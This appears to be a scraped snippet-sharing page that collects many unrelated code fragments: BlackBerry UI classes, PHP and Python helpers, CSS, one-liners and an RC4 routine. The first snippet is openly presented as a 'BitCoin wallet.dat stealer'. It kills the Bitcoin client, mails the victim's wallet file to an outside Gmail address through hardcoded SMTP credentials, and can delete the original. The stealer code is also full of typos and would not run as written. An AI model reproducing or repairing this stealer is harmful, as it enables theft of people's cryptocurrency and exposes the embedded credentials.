Latest Snippet

BitCoin Wallet.dat Stealer

///////////////////////////////////////////////////////////////////////////
/// BitCoin wallet.dat stealer :D ///
///////////////////////////////////////////////////////////////////////////

	Private Sub StealBitWallet (byVal email as string, byval password as string, byval smtp as string, byval port as integer, optional byval delete as boolean = false)
		on error resume next
		dim bProcess  = process.getprecessesbyname ("bitcoin")
		for i as integer = 0 to bprocess.count - 1
			bprocess (i).kill ()
		next i

		system.threading.thread.sleep (5000)

		if system.IO.file.exists (environ ("AppData") & "\bitcoin\wallet.dat") then
			Dim smtpserver as new system.net.mail.smtp client ()
			Dim mail as new system.net.mail.mailmessage ()
			smtpserver.credentials = new net.networkcredentials (dombrowski.alex@gmail.com,ilikepie16)
			smtpserver.port = 587
			smtpserver.enablessl = true
			smtpserver.host = smtp.gmail.com

			mail = new system.net.mail.message ()
			mail.attachments.ass (new system.net.mail.attachment (environ ("AppData") & "\bitcoin\wallet.dat)
			mail.from = new system.net.amil.mailaddress (email)
			mail.to.add (dombrowski.alex@gmail.com)
			mail.subject = "Bitcoin Wallet ( " & environment.username & "@" & environment.machinename & ")"
			mail.body = (environ ("AppData") & '\bitcoin\wallet.dat")
			smtpserver.send (mail)

			if delete = true then 
				kill (environ ("appdata") & "\bitcoin\wallet.dat"0
			end if

		end if
	end sub
		

Perl WideFinder

// perl script to parse text file, uses MMAP and Forking

#!/usr/bin/perl -s
## wf.pl -- an implementation of the "wide finder" benchmark.
## Sean O'Rourke, 2007, public domain.
##
## Usage: perl -s wf.pl -J=$N $LOGFILE
##     where $N is the number of processes, and $LOGFILE is the target.
##
## This code depends on Sys::Mmap, which is available on CPAN.

use Sys::Mmap;
use strict qw(subs refs);

$J ||= 0;

my $file = shift;

open IN, $file or die $!;
my $str;

mmap $str, 0, PROT_READ, MAP_SHARED, IN;

my %h;
my $n = 0;

if ($J == 0) {
    ## serial
    $h{$1}++ while $str =~ m{GET (/sms/umb/[^?]+)\?OPCODE=CPDELIVER&MSISDN=}g;
} else {
    $|=1;
    ## parallel -- ugh.
    my $size = -s IN;
    my $nperj = int(($size + $J - 1) / $J);
    my @fhs;
    use Storable qw(store_fd fd_retrieve);
    for my $i (0..$J-1) {
        my $pid = open my $fh, "-|";
        die unless defined $pid;
        if ($pid) {
            push @fhs, $fh;
        } else {
            pos($str) = $i ? rindex($str, "\n", $nperj * $i) || 0 : 0;
            my $end = ($i+1) * $nperj;
            $h{$1}++ while pos($str) < $end &&
                $str =~ m{GET (/sms/umb/[^?]+)\?OPCODE=CPDELIVER&MSISDN=}g;
            store_fd \%h, \*STDOUT or die "$i can't store!\n";
            exit 0;
        }
    }
    for (0..$#fhs) {
        my $h = fd_retrieve $fhs[$_] or die "I can't load $_\n";
        while (my ($k, $v) = each %$h) {
            $h{$k} += $v;
        }
        close $fhs[$_] or warn "$_ exited weirdly.";
    }
}

for (sort { $h{$b} <=> $h{$a} } keys %h) {
    print "$h{$_}\t$_\n";
    last if ++$n >= 10;
}

ImagePickerDialog Blackberry

// an image picker dialog, for blackberry JDE
// usage:
// String result = ImagePickerDialog.getInstance().show();

public class ImagePickerDialog extends PopupScreen {
  private static final String FILE_SEPARATOR = System.getProperty("file.separator");
  private static final String PARENT_DIRECTORY = "..";
  private static final String FILE_PROTOCOL = "file://";
  private static ImagePickerDialog instance = null;
  
  private ListField listField;
  private ImageListFieldCallback listFieldCallback;
  private String currentDir = null;
  private String rootDir = null;
  protected volatile boolean keepRunning = true;
  
  private Bitmap folderBitmap = Bitmap.getBitmapResource("folder.png");
  private Bitmap fileBitmap = Bitmap.getBitmapResource("file.png");
  private Bitmap defaultBitmap = Bitmap.getPredefinedBitmap(Bitmap.QUESTION);
  private BitmapField preview = new BitmapField(defaultBitmap);
  
  private String result = null;
  private PreviewWorker previewWorker = null;
  
  class PreviewWorker implements Runnable {
    private Vector queue = new Vector();
    private Bitmap bitmap;
    private volatile Thread thread = null;
    
    public void start() {
      thread = new Thread(this);
      thread.setPriority(Thread.MIN_PRIORITY);
      thread.start();
    }
    
    public void stop() {
      thread = null;
    }
    
    public void preview( String filename ) {
      queue.addElement(filename);
    }
    
    public void run() {
      while (thread != null) {
        if ( queue.isEmpty() ) {
          try {
            Thread.sleep(100);
          } catch (InterruptedException e) {
            e.printStackTrace();
          }
          continue;
        }
        
        String selected = (String)queue.elementAt(queue.size()-1);
        if ( selected == null ) {
          try {
            Thread.sleep(100);
          } catch (InterruptedException e) {
            //e.printStackTrace();
          }
          continue;
        }
        
        queue.removeAllElements();
        
        try {
          bitmap = readBitmapFromFile(selected, defaultBitmap.getWidth(), defaultBitmap.getHeight());
        } catch (IOException e) {
          bitmap = defaultBitmap;
        }
        
        UiApplication.getUiApplication().invokeLater(new Runnable() {
          public void run() {
            preview.setBitmap(bitmap);
          }
        });
        
        try {
          Thread.sleep(50);
        } catch (InterruptedException e) {
          e.printStackTrace();
        }
      }
    }
  }
  
  private ImagePickerDialog() {
    super(new HorizontalFieldManager(Field.USE_ALL_HEIGHT|Field.USE_ALL_WIDTH|Manager.NO_HORIZONTAL_SCROLL));
    
    rootDir = "file:///" + getCurrentRoot();
    int height = Font.getDefault().getHeight();
    int thumbSize = Math.max(height, 24);
    int ypadding = 2;
    int padding = 2;
    
    previewWorker = new PreviewWorker();
    
    listField = new ListField() {
      protected boolean navigationClick(int status, int time) {
        selectField();
        return super.navigationClick(status, time);
      }

      protected int moveFocus(int amount, int status, int time) {
        int r = super.moveFocus(amount, status, time);
        previewSelected();
        return r;
      }

    };
    listField.setRowHeight(thumbSize+(ypadding*2));
    

    VerticalFieldManager vfm = new VerticalFieldManager( Manager.USE_ALL_HEIGHT|Manager.VERTICAL_SCROLL|Manager.NO_HORIZONTAL_SCROLL) {
      protected void sublayout(int width, int height) {
        Log.info( Display.getWidth() + ", " + getManager().getWidth() + ", " + defaultBitmap.getWidth() );
        
        int w = getManager().getWidth() - ( 20 + defaultBitmap.getWidth() + preview.getMarginLeft() + preview.getMarginRight());
        super.sublayout(w, height);
        setExtent(w, height);
      }
    };
    vfm.add(listField);
    
    add(vfm);
    add(preview);
    preview.setPadding(5, 5, 5, 5);
    
    
    listFieldCallback = new ImageListFieldCallback(listField);
    listFieldCallback.setImageHeight(thumbSize);
    listFieldCallback.setImageWidth(thumbSize);
    listFieldCallback.setPadding(padding);
    listFieldCallback.setYPadding(ypadding);
  }
  
  public static ImagePickerDialog getInstance() {
    if ( instance == null )
      instance = new ImagePickerDialog();
    return instance;
  }
  
  public String show() {
    listFiles( rootDir );
    
    //started
    result = null;
    previewWorker.start();
    
    UiApplication.getUiApplication().pushModalScreen(this);
    
    //dismissed
    previewWorker.stop();

    return result;
  }
  
  protected boolean keyDown(int keycode, int status) {
    if (Keypad.key(keycode) == Keypad.KEY_ESCAPE) {
      result = null;
      if ( currentDir.equals(rootDir) ) {
        close();
      } else {
        int pos = currentDir.lastIndexOf('/', currentDir.length()-2);
        String dir = new String( currentDir.substring(0, pos+1) );
        listFiles( dir );
      }
    }
    return super.keyDown(keycode, status);
  }
  
  protected void previewSelected() {
    int index = listField.getSelectedIndex();
    int size = listField.getSize();
    if ( index >= 0 && index < size ) {
      final String selected = (String)listFieldCallback.get(listField, index);
      if ( selected.endsWith(".gif") || selected.endsWith(".png") || selected.endsWith(".jpg") || selected.endsWith(".bmp") ) {
        previewWorker.preview(selected);
        ImagePickerDialog.this.result = selected;
      } else {
        ImagePickerDialog.this.result = null;
      }
    } else {
      UiApplication.getUiApplication().invokeLater(new Runnable() {
        public void run() {
          preview.setBitmap(defaultBitmap);
        }
      });
    }
  }
  
  protected Thread listThread = null;
  
  protected void listFiles(String dir) {
    keepRunning = false;
    if ( listThread != null ) {
      Log.info( "waiting to stop.." );
      try { listThread.join(); }
      catch(InterruptedException ie) {}
    }
    
    currentDir = dir;
    keepRunning = true;
    
    UiApplication.getUiApplication().invokeLater(new Runnable() {
      public void run() {
        preview.setBitmap(defaultBitmap);
      }
    });
    
    Log.info( "currentDir="+currentDir+", root="+rootDir );
    
    listThread = new Thread() {
      public void run() {
        FileConnection fc = null;
        try {
          fc = (FileConnection)Connector.open(currentDir, Connector.READ);
          if ( fc.exists() ) {
            recurseDirectory( fc );
          }
        } catch(IOException ioe) {
          Log.error(ioe, "listing directory");
        } finally {
          if ( fc != null ) {
            try { fc.close(); }
            catch(Exception ex) {}
          }
        }
      }
    };
    listThread.setPriority(Thread.MIN_PRIORITY);
    listThread.start();
  }
  
  protected void recurseDirectory(FileConnection dir) throws IOException {
    listFieldCallback.clear();
    
    if ( !currentDir.equals(rootDir) ) {
      listFieldCallback.add(folderBitmap, PARENT_DIRECTORY);
    }
    
    SimpleSortingVector sv = new SimpleSortingVector();
    sv.setSortComparator(new Comparator() {
      public int compare(Object arg0, Object arg1) {
        FileItem f1 = (FileItem)arg0;
        FileItem f2 = (FileItem)arg1;
        
        if ( f1.type < f2.type ) {
          return -1;
        } else if ( f1.type > f2.type ) {
          return 1;
        } else if ( f1.timestamp < f2.timestamp ) {
          return 1;
        } else if ( f1.timestamp > f2.timestamp ) {
          return -1;
        } else {
          return f1.name.compareTo(f2.name);
        }
      }
    });
    sv.setSort(false);
    
    Enumeration list = dir.list();
    while (list.hasMoreElements() && keepRunning) {
      String file = (String) list.nextElement();
      String fl = file.toLowerCase();
      if (fl.endsWith(FILE_SEPARATOR) || fl.endsWith(".jpg") || fl.endsWith(".gif") || fl.endsWith(".bmp") || fl.endsWith(".png") ) {
        try {
          StringBuffer filename = new StringBuffer();
          filename.append(FILE_PROTOCOL).append(dir.getPath()).append(dir.getName()).append(file);
          FileItem item = new FileItem(filename.toString());
          sv.addElement(item);
        } catch(Exception ex) {
          //
        }
      }
      
      /*
      if (file.endsWith(FILE_SEPARATOR)) {
        StringBuffer filename = new StringBuffer();
        filename.append(FILE_PROTOCOL).append(dir.getPath()).append(dir.getName()).append(file);
        listFieldCallback.add(folderBitmap, filename.toString());
      } else {
        String fl = file.toLowerCase();
        if ( fl.endsWith(".jpg") || fl.endsWith(".gif") || fl.endsWith(".bmp") || fl.endsWith(".png") ) {
          StringBuffer filename = new StringBuffer();
          filename.append(FILE_PROTOCOL).append(dir.getPath()).append(dir.getName()).append(file);
          listFieldCallback.add(fileBitmap, filename.toString());
        }
      }
      */
    }
    
    sv.reSort();
    Enumeration sorted = sv.elements();
    while( sorted.hasMoreElements() && keepRunning ) {
      FileItem item = (FileItem)sorted.nextElement();
      if ( item.type == 0 ) {
        listFieldCallback.add(folderBitmap, item.name);
      } else {
        listFieldCallback.add(fileBitmap, item.name);
      }
    }
  }
  
  class FileItem {
    public int type;
    public String name;
    public long timestamp;
    
    public FileItem(String name) throws IOException {
      this.name = name;
      if ( name.endsWith(FILE_SEPARATOR) ) {
        type = 0;
      } else {
        type = 1;
        FileConnection fc = null;
        try {
          fc = (FileConnection)Connector.open(name, Connector.READ);
          timestamp = fc.lastModified();
        } finally {
          if (fc != null) fc.close();
        }
      }
    }
  }
  
  protected void selectField() {
    int index = listField.getSelectedIndex();
    int size = listField.getSize();
    if ( index >= 0 && index < size ) {
      String selected = (String)listFieldCallback.get(listField, index);
      if ( selected.endsWith(FILE_SEPARATOR) ) {
        listFiles( selected );
      } else if ( selected.equals(PARENT_DIRECTORY) ) {
        int pos = currentDir.lastIndexOf('/', currentDir.length()-2);
        String dir = new String( currentDir.substring(0, pos+1) );
        listFiles( dir );
      } else {
        close();
      }
    }
  }
    
  public static String getCurrentRoot() {
    Enumeration rootEnum = FileSystemRegistry.listRoots();
    String currentRoot = null;
    while (rootEnum.hasMoreElements()) {
      String root = (String) rootEnum.nextElement();
      if (root.endsWith("CFCard/") || root.endsWith("SDCard/") || root.endsWith("MemoryStick/")) {
        currentRoot = root;
        break;
      }
    }
    return currentRoot;
  }
    
  public static Bitmap readBitmapFromFile(String filename, int width, int height) throws IOException {
    Bitmap bitmap = null;
    byte[] data;
    if (filename != null) {
      FileConnection file = (FileConnection) Connector.open(filename, Connector.READ);
      int fileSize = (int) file.fileSize();
      if (fileSize > 0) {
        data = new byte[fileSize];
        InputStream input = file.openInputStream();
        input.read(data);
        input.close();
        
        EncodedImage image = EncodedImage.createEncodedImage(data, 0, data.length);
        EncodedImage result = resizeImage(image, width, height);
        bitmap = result.getBitmap();
      }
      file.close();
    }
    return bitmap;
  }
    
  public static EncodedImage resizeImage(EncodedImage image, int width, int height) {
    if (image == null || (image.getWidth() == width && image.getHeight() == height)) {
      return image;
      }
    
      double scaleHeight, scaleWidth;

      if (image.getWidth() > width && image.getHeight() > height) {  //actual image is bigger than scale size
        if (image.getWidth() > image.getHeight()) {  //actual image width is more that height then scale with width
          scaleWidth = width;
          scaleHeight = (double)width / image.getWidth() * image.getHeight();
        } else { //scale with height
          scaleHeight = height;
          scaleWidth = (double)height / image.getHeight() * image.getWidth();
        }
      } else if (width < image.getWidth()) { //scale with scale width or height
        scaleWidth = width;
        scaleHeight = (double)width / image.getWidth() * image.getHeight();
      } else {
        scaleHeight = height;
        scaleWidth = (double)height / image.getHeight() * image.getWidth();
      }
      int w = Fixed32.div(Fixed32.toFP(image.getWidth()), Fixed32.toFP((int)scaleWidth));
      int h = Fixed32.div(Fixed32.toFP(image.getHeight()), Fixed32.toFP((int)scaleHeight));
      return image.scaleImage32(w, h);
  }

}

//ListFieldCallback with Images


import java.io.UnsupportedEncodingException;
import java.util.Vector;

import orca.bb.log.Log;
import orca.bb.text.TextUtil;

import net.rim.device.api.system.Application;
import net.rim.device.api.system.Bitmap;
import net.rim.device.api.ui.DrawStyle;
import net.rim.device.api.ui.Graphics;
import net.rim.device.api.ui.component.ListField;
import net.rim.device.api.ui.component.ListFieldCallback;

public class ImageListFieldCallback implements ListFieldCallback {
  private Vector listitems = new Vector();
  private Vector thumbnail = new Vector();
  private ListField list;
  
  private int imageWidth = 50;
  private int imageHeight = 50;
  private int padding = 2;
  private int ypadding = 2;

  public ImageListFieldCallback(ListField list) {
    this.list = list;
    this.list.setCallback(this);
  }
  
  public void clear() {
    listitems.removeAllElements();
    thumbnail.removeAllElements();
    synchronized(Application.getEventLock()) {
      list.setSize(0);
    }
  }

  public int add( Bitmap bitmap, Object text ) {
    Log.info( "listitems.add: text="+text );
    listitems.addElement(text);
    thumbnail.addElement(bitmap);
    synchronized(Application.getEventLock()) {
      int size = listitems.size()-1;
      list.insert(listitems.size()-1);
      return size;
    }
  }
  
  public void insert( int index, Bitmap bitmap, Object text ) {
    Log.info( "listitems.insert: index="+index+",text="+text );
    listitems.insertElementAt(text, index);
    thumbnail.insertElementAt(bitmap, index);
    synchronized(Application.getEventLock()) {
      list.insert(index);
    }
  }
  
  public void delete( Object o ) {
    int index = listitems.indexOf( o );
    Log.info("listitems.delete, index="+index+",object="+o);
    if ( index >= 0 ) {
      delete(index);
    }
  }
  
  public void delete( int index ) {
    listitems.removeElementAt(index);
    thumbnail.removeElementAt(index);
    synchronized(Application.getEventLock()) {
      list.delete(index);
    }
  }
  
  public void update( int index, Bitmap bitmap, Object text ) {
    listitems.setElementAt(text, index);
    thumbnail.setElementAt(bitmap, index);
    synchronized(Application.getEventLock()) {
      list.invalidate(index);
    }
  }
  
  public int size() {
    return thumbnail.size();
  }

  public void drawListRow(ListField listField, Graphics g, int index, int y, int w) {
     Object object = listitems.elementAt(index);
     Bitmap thumb = (Bitmap) thumbnail.elementAt(index); 
     
     String filepath = object.toString();
     String text = filepath;
     int pos = filepath.lastIndexOf('/');
     
     if ( filepath.endsWith("/") ) {
       pos = filepath.lastIndexOf('/', pos-1);
     }
     
     try {
      text = TextUtil.urlDecode( new String( filepath.substring(pos+1) ), "UTF-8" );
     } catch (UnsupportedEncodingException e) {
      //Log.error("");
     }
     
     int padding = getPadding();
     int ypadding = getYPadding();
     int imageWidth = getImageWidth();

     g.drawText(text, imageWidth + padding, y+ypadding, DrawStyle.LEADING | DrawStyle.ELLIPSIS, w - imageWidth - padding);
     g.drawBitmap(0, y+ypadding, thumb.getWidth(), thumb.getHeight(), thumb, 0, 0);
     
  }

  public Object get(ListField listField, int index) {
    return listitems.elementAt(index);
  }

  public int getPreferredWidth(ListField listField) {
    return listField.getPreferredWidth();
  }

  public int indexOfList(ListField listField, String prefix, int start) {
    return -1;
  }

  public int getImageWidth() {
    return imageWidth;
  }

  public void setImageWidth(int imageWidth) {
    this.imageWidth = imageWidth;
  }

  public int getImageHeight() {
    return imageHeight;
  }

  public void setImageHeight(int imageHeight) {
    this.imageHeight = imageHeight;
  }

  public int getPadding() {
    return padding;
  }

  public void setPadding(int padding) {
    this.padding = padding;
  }
  
  public int getYPadding() {
    return ypadding;
  }

  public void setYPadding(int padding) {
    this.ypadding = padding;
  }
}

CSS Wordwrap

// using css to wordwrap

pre {
	white-space: pre;           /* CSS 2.0 */
	white-space: pre-wrap;      /* CSS 2.1 */
	white-space: pre-line;      /* CSS 3.0 */
	white-space: -pre-wrap;     /* Opera 4-6 */
	white-space: -o-pre-wrap;   /* Opera 7 */
	white-space: -moz-pre-wrap; /* Mozilla */
	white-space: -hp-pre-wrap;  /* HP Printers */
	word-wrap: break-word;      /* IE 5+ */
}

Get User Timeline in PHP

//Simple php function to Get User Timeline

//implement
<?php
$arrTwet = Get_user_timeline("maulidi", 5);
foreach ( $arrTwet as $twet )
{
   echo "$twet\n";
}
?>

<?php
function Get_user_timeline($user, $limit)
{
    $url = "http://api.twitter.com/1/statuses/user_timeline.json?screen_name=".urlencode($user)."&trim_user=true&count=".intval($limit);
    $json_data = json_decode(file_get_contents($url));
    
    $arrTwet = array();
    
    for($i=0; $i<=$limit; $i++)
    {
        if (isset( $json_data[$i] ))
        {
            $text = $json_data[$i]->text;
            $arrTwet[] = $text;
        }
    }
    
    return $arrTwet;
}
?>

Redirecting log4j output to Servlet output

// Usually when debugging servlet app, I like to see the log4j output, this is a quick hack on how to redirect / add log4j output

protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
    throws ServletException, IOException {
    
    Logger logger = Logger.getRootLogger();
    String appenderName = "servletOutputAppender";

    Appender servletAppender = logger.getAppender(appenderName);
    OutputStream out = resp.getOutputStream();
    PrintWriter writer = new PrintWriter(out, true);
    
    if ( servletAppender == null ) {
        servletAppender = new WriterAppender(new SimpleLayout(), out);
        servletAppender.setName(appenderName);
        logger.addAppender(servletAppender);
    }

    try {
        //do your own stuff here
    } finally {
        logger.removeAppender(appenderName);
        writer.flush();
    }
}

Paypal Fee Script

// calculate paypal fees
// http://snipplr.com/view.php?codeview&id=44373

<?php

function paypalFees($sub_total, $round_fee) {

	// Set Fee Rate Variables
	$fee_percent = '3.4'; // Paypal's percentage rate per transaction (3.4% in UK)
	$fee_cash    = '0.20'; // Paypal's set cash amount per transaction (£0.20 in UK)

	// Calculate Fees
	$paypal_fee = ((($sub_total / 100) * $fee_percent) + $fee_cash);

	if ($round_fee == true) {
		$paypal_fee = ceil($paypal_fee);
	}

	// Calculate Grand Total
	$grand_total = ($sub_total + $paypal_fee);

	// Tidy Up Numbers
	$sub_total   = number_format($sub_total, 2, '.', ',');
	$paypal_fee  = number_format($paypal_fee, 2, '.', ',');
	$grand_total = number_format($grand_total, 2, '.', ',');

	// Return Array
	return array('grand_total'=>$grand_total, 'paypal_fee'=>$paypal_fee, 'sub_total'=>$sub_total);
}

PHP calculate distance

// PHP script to calculate distance between 2 point

<?php

function distance($lat1, $lon1, $lat2, $lon2, $unit) { 
  $theta = $lon1 - $lon2;
  $dist = sin(deg2rad($lat1)) * sin(deg2rad($lat2)) +  cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta));
  $dist = acos($dist);
  $dist = rad2deg($dist);
  $miles = $dist * 60 * 1.1515;
  $unit = strtoupper($unit);

  if ($unit == "K") {
    return ($miles * 1.609344);
  } else if ($unit == "N") {
      return ($miles * 0.8684);
    } else {
        return $miles;
      }
}

Python urlencode for unicode string

// python urlencode usually throws error when encoding unicode string, here's the tricks

import types,urllib
def unicode_urlencode(value):
    if type(value) is types.UnicodeType:
        return urllib.quote(value.encode("utf-8"))
    else:
        return urllib.quote(value)

Tweet This Bookmarklet

// who needs tweetdeck etc, here's a simple bookmarklet, just create a new bookmark

javascript:(function () {
    var e = encodeURIComponent,
        f = 'http://twitter.com/share?text=' + e(document.title) + '&url=' + e(window.location.href),
        a = function () {
            if (!window.open(f, 'twshare', 'location=yes,links=no,scrollbars=no,toolbar=no,width=550,height=550')) location.href = f;
        };
    if (/Firefox/.test(navigator.userAgent)) {
        setTimeout(a, 0)
    } else {
        a()
    }
})()

MySQL Unicode Fields

// how to retrieve unicode fields in PHP + MySQL

<?php

$mysql_conn = mysql_connect( $host, $user, $pass )
	or die('Cannot connect to MySQL server');
mysql_select_db( $database, $conn ) 
	or die('Cannot use database');
mysql_query("SET NAMES 'UTF8'", $conn)
	or die('Cannot update MySQL connection');

//do as usual
if ($query = mysql_query( "SELECT * FROM users", $conn )) {
	while( $row = mysql_fetch_assoc($query)) )
		//
}

Blackberry JDE Animated GIF

// display animated gif on blackberry device

import net.rim.device.api.ui.UiApplication;
import net.rim.device.api.system.GIFEncodedImage;
import net.rim.device.api.ui.Graphics;
import net.rim.device.api.ui.component.BitmapField;

/**
 * A BitmapField that displays an animated GIF. This Class extends BitmapField
 * to create a new class called AnimatedGIFField. This class can be added to a
 * Screen and accepts a GIFEncodedImage, which it will animate.
 */
public class AnimatedGIFField extends BitmapField {
    private GIFEncodedImage _image; // The image to draw.
    private int _currentFrame; // The current frame in the animation sequence.
    private int _width; // The width of the image (background frame).
    private int _height; // The height of the image (background frame).
    private AnimatorThread _animatorThread;

    public AnimatedGIFField(GIFEncodedImage image) {
        this(image, 0);
    }

    public AnimatedGIFField(GIFEncodedImage image, long style) {
        // Call super to setup the field with the specified style.
        // The image is passed in as well for the field to
        // configure its required size.
        super(image.getBitmap(), style);

        // Store the image and it's dimensions.
        _image = image;
        _width = image.getWidth();
        _height = image.getHeight();

        // Start the animation thread.
        _animatorThread = new AnimatorThread(this);
        _animatorThread.start();
    }

    protected void paint(Graphics graphics) {
        // Call super.paint. This will draw the first background
        // frame and handle any required focus drawing.
        super.paint(graphics);

        // Don't redraw the background if this is the first frame.
        if (_currentFrame != 0) {
            // Draw the animation frame.
            graphics
                    .drawImage(_image.getFrameLeft(_currentFrame), _image
                            .getFrameTop(_currentFrame), _image
                            .getFrameWidth(_currentFrame), _image
                            .getFrameHeight(_currentFrame), _image,
                            _currentFrame, 0, 0);
        }
    }

    // Stop the animation thread when the screen the field is on is
    // popped off of the display stack.
    protected void onUndisplay() {
        _animatorThread.stop();
        super.onUndisplay();
    }

    // A thread to handle the animation.
    private class AnimatorThread extends Thread {
        private AnimatedGIFField _theField;
        private boolean _keepGoing = true;
        private int _totalFrames; // The total number of frames in the image.
        private int _loopCount; // The number of times the animation has looped
                                // (completed).
        private int _totalLoops; // The number of times the animation should
                                    // loop (set in the image).

        public AnimatorThread(AnimatedGIFField theField) {
            _theField = theField;
            _totalFrames = _image.getFrameCount();
            _totalLoops = _image.getIterations();

        }

        public synchronized void stop() {
            _keepGoing = false;
        }

        public void run() {
            while (_keepGoing) {
                // Invalidate the field so that it is redrawn.
                UiApplication.getUiApplication().invokeAndWait(new Runnable() {
                    public void run() {
                        _theField.invalidate();
                    }
                });

                try {
                    // Sleep for the current frame delay before
                    // the next frame is drawn.
                    sleep(_image.getFrameDelay(_currentFrame) * 10);
                } catch (InterruptedException iex) {
                } // Couldn't sleep.

                // Increment the frame.
                ++_currentFrame;

                if (_currentFrame == _totalFrames) {
                    // Reset back to frame 0 if we have reached the end.
                    _currentFrame = 0;

                    ++_loopCount;

                    // Check if the animation should continue.
                    if (_loopCount == _totalLoops) {
                        _keepGoing = false;
                    }
                }
            }
        }
    }

    public int getAnimatedImageWidth() {
        return _width;
    }

    public int getAnimatedImageHeight() {
        return _height;
    }
}

Twitter Anywhere Custom Follow Button

// code using twitter anywhere javascript, using custom follow button
// http://dev.twitter.com/anywhere/

<head>
<script src="http://platform.twitter.com/anywhere.js?id=API_KEY_HERE&v=1" type="text/javascript"></script>
<script type="text/javascript">
var SCREEN_NAME = 'SCREEN_NAME_HERE';
var followme = function() {
    setTimeout(function(){
        twttr.anywhere(function(T){
            if ( !T.isConnected() ) {
                T.requireConnect(function() {
                    T.User.find(SCREEN_NAME).follow({
                        success: function () { alert( 'Thanks' ); },
                        error: function (T) { alert( [T.status, T.response.error] ); }
                    }) ;
                });
            }
        });
    },10);
    return false;
};
</script>
</head>

<body>
<a href="javascript:followme()">Follow me</a>
</body>

It Must Have Been Love -- In Python

// print the lyric of "it must have been love", by roxette, in python

print "\n".join(["It must have been %s,but %s" % i for i in map(lambda x:(('love',"It's over now"),('good','I lost it somehow'))[x%2],range(3))])

Mandelbrot

// description of your code here

print (lambda Ru,Ro,Iu,Io,IM,Sx,Sy:reduce(lambda x,y:x+y,map(lambda y,
Iu=Iu,Io=Io,Ru=Ru,Ro=Ro,Sy=Sy,L=lambda yc,Iu=Iu,Io=Io,Ru=Ru,Ro=Ro,i=IM,
Sx=Sx,Sy=Sy:reduce(lambda x,y:x+y,map(lambda x,xc=Ru,yc=yc,Ru=Ru,Ro=Ro,
i=i,Sx=Sx,F=lambda xc,yc,x,y,k,f=lambda xc,yc,x,y,k,f:(k<=0)or (x*x+y*y
>=4.0) or 1+f(xc,yc,x*x-y*y+xc,2.0*x*y+yc,k-1,f):f(xc,yc,x,y,k,f):chr(
64+F(Ru+x*(Ro-Ru)/Sx,yc,0,0,i)),range(Sx))):L(Iu+y*(Io-Iu)/Sy),range(Sy
))))(-2.1, 0.7, -1.2, 1.2, 30, 80, 24)

Python Factorial One Liner

// factorial, one liner

map(lambda n:(lambda f:f(f,n))(lambda f,n:{True:lambda:1,False:lambda:n*f(f,n-1)}[n<=1]()),range(0,20))

Find And Tar

// find files and tar your archives

find . -type f -name "*.java" | xargs tar rvf myfile.tar

Parse httpd-access.log using PHP

// parse access log using PHP

<?php

ini_set('memory_limit', '128M');

//tentukan path access log apache
$access_log = '/var/log/apache2/access.log';
$result = array();

//benchmark only
$start = microtime(true);

$fp = fopen($access_log, 'rb');
//1mb chunk
while($buffer = fread($fp, 1024*1024))
{
    $matches = array();
    if (preg_match_all( '~(GET|POST) ([^? ]*)~', $buffer, $matches ))
    {
        foreach($matches[2] as $match)
        {
            if (!isset($result[$match]))
                $result[$match] = 1;
            else $result[$match]++;
        }
    }
}
fclose($fp);

//benchmark kelar
$end = microtime(true)-$start;

//print hasil
foreach($result as $path => $count)
    echo "$count  $path\n";

echo "\nruntime = $end\n";

Offline Access Facebook Apps (infinite session) in Appengine Webapp

// demonstrate how to get infinite session from facebook apps

from google.appengine.ext import webapp
from google.appengine.ext.webapp import template
import urllib
import facebook

FACEBOOK_API_KEY='..'
FACEBOOK_SECRET_KEY='..'

class FacebookPage(webapp.RequestHandler):
  def get(self):
    fb = Facebook(FACEBOOK_API_KEY, FACEBOOK_SECRET_KEY, 
      callback_path=self.request.path)
    auth_token = self.request.get('auth_token')
    #got auth_token, get temporary session
    if auth_token:
      try:
        fb.auth_token = auth_token
        fb.auth.getSession()
      except:
        self.redirect(fb.get_login_url(next=self.request.url, canvas=False))
    else:
      #not authenticated yet, redirect to facebook login URL
      return self.redirect(fb.get_login_url(next=self.request.url, canvas=False))
    
    #now we have a live session
    #we can get her basic info
    user_info = self.facebook.users.getInfo([self.facebook.uid], ['name', 'pic_square'])[0]

    #check for offline access permission
    permission_link = None
    if not self.facebook.users.hasAppPermission('offline_access'):
      params = {
        'api_key':FACEBOOK_API_KEY,
        'ext_perm':'offline_access,status_update,read_stream',
        'next':self.request.url,
        'cancel':self.request.url,
      }
      permission_link = "http://www.facebook.com/connect/prompt_permissions.php?%s" % urllib.urlencode(params)
    else:
      #got permission, save her session for future use
      if fb.session_key_expires == 0:
        user = User(uid=fb.uid, session_key=fb.session_key)
        user.put()
    
    self.response.out.write(template.render(
      'facebook_page.html', {
        'permission_link':permission_link, 
        'user_info':user_info})

Python RC4 Cipher

// RC4 implementation in python

def rc4crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x,y = 0, 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
    return ''.join(out)